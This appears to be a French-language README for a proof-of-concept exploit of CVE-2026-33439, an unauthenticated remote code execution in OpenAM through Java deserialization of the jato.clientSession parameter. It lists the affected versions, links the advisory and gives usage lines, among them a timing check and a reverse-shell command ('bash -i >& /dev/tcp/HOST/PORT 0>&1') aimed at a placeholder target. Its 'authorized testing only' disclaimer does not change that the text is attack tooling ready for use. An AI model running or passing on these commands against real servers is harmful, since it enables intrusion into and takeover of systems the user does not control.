
PoC pour CVE-2026-33439, une RCE pré-auth dans OpenAM via une désérialisation Java non sécurisée.
RCE pré-authentification dans OpenIdentityPlatform OpenAM via une désérialisation Java non sécurisée du
paramètre jato.clientSession. Affecté <= 16.0.5, corrigé dans 16.0.6.
Avis : https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
La sortie est aveugle. La requête se bloque jusqu'à ce que la commande se termine, donc le timing confirme
l'exécution (--command 'sleep 5' prend environ 5s).
Pour des tests de sécurité autorisés uniquement.